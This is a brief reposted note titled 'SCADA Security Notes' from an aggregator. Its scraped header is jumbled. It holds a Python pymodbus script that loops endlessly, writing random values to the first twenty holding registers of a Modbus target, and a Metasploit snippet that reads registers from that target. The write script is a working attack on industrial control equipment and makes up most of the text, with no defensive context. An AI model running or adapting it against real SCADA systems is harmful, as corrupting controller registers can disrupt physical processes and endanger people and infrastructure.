SCADA Security Notes
Modbus write random registersfrom pymodbus.client.sync import ModbusTcpClientimport multiprocessing 0001-1-1 08:0:0 Author: techvomit.net(查看原文) 阅读量:0 收藏

Modbus write random registers

from pymodbus.client.sync import ModbusTcpClient
import multiprocessing
import random
from multiprocessing import TimeoutError

client = ModbusTcpClient('[target]')
client.connect()

def write(reg):
    client.write_register(reg+1, random.randint(1, 100))
    print('reg:' + str(reg))

if __name__ == '__main__':

    while True:
        p = multiprocessing.Pool(2)
        try:
            p.map(write, [x for x in range(20)])
        except TimeoutError:
            pass
        except Exception as e:
            print(e)
            exit()
    client.close()
use auxiliary/scanner/scada/modbusclient
set DATA_ADDRESS 1
set RHOST [target]
set ACTION READ_REGISTERS
set NUMBER 19
run

文章来源: https://techvomit.net/scada-security-notes/
如有侵权请联系:admin#unsafe.sh